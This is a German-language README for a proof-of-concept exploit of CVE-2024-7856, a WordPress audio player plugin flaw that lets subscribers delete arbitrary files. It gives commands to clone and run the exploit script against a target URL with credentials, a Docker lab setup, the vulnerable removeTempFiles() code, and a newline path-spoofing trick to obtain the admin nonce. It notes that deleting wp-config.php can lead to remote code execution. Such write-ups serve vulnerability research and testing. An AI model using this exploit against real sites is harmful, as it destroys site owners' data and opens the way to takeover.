
Proof-of-Concept für CVE-2024-7856
★ CVE-2024-7856 Beliebige Dateilöschung PoC ★
CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – Fehlende Autorisierung zu authentifizierter (Abonnent+) beliebiger Dateilöschung
Forscher: Arkadiusz Hydzik
Beschreibung: Das MP3 Audio Player
Music Player, Podcast Player & Radio by Sonaar-Plugin für WordPress ist anfällig für unbefugte beliebige Dateilöschung aufgrund einer fehlenden Fähigkeitsprüfung in der Funktion removeTempFiles() und unzureichender Pfadvalidierung beim Parameter 'file' in allen Versionen bis einschließlich 5.7.0.1. Dies ermöglicht es authentifizierten Angreifern mit Abonnentenzugriff und höher, beliebige Dateien zu löschen, was Remote-Codeausführung ermöglichen kann, wenn wp-config.php gelöscht wird.
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856
pip install -r requirements.txt
# Beliebige Dateilöschung
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE>
python3 CVE-2024-7856.py -u <URL_TO_EXPLOIT> -f <FILE_TO_DELETE> -i <USER_ID_TO_LOGIN> -p <USER_PW_TO_LOGIN>
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!
CVE-2024-7856.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins
public function removeTempFiles(){
// will unlink the temporary peak file and generate another one automatically.
check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
if ($is_temp && $file) {
$upload_dir = wp_get_upload_dir();
$peaks_dir = $this->get_peak_dir();
$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
wp_delete_file($file_path_temp);
}
}
}
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true ); // Used for plugin settings page only. it does not work on group repeater fields
wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
wp_localize_script('sonaar-admin', 'sonaar_music', array(
'plugin_version_free'=> SRMP3_VERSION,
'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
'ajax' => array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
),
));
}
'Spoof'en eines Pfads : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_
Mit einem autorisierten Benutzer können Sie die beliebige Dateilöschung ausnutzen.
Dieses Repository ist nicht als Exploit für die beliebige Dateilöschung von CVE-2024-7856 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, mehr über diese Schwachstelle zu lernen und möglicherweise ihre eigenen Anwendungen zu testen.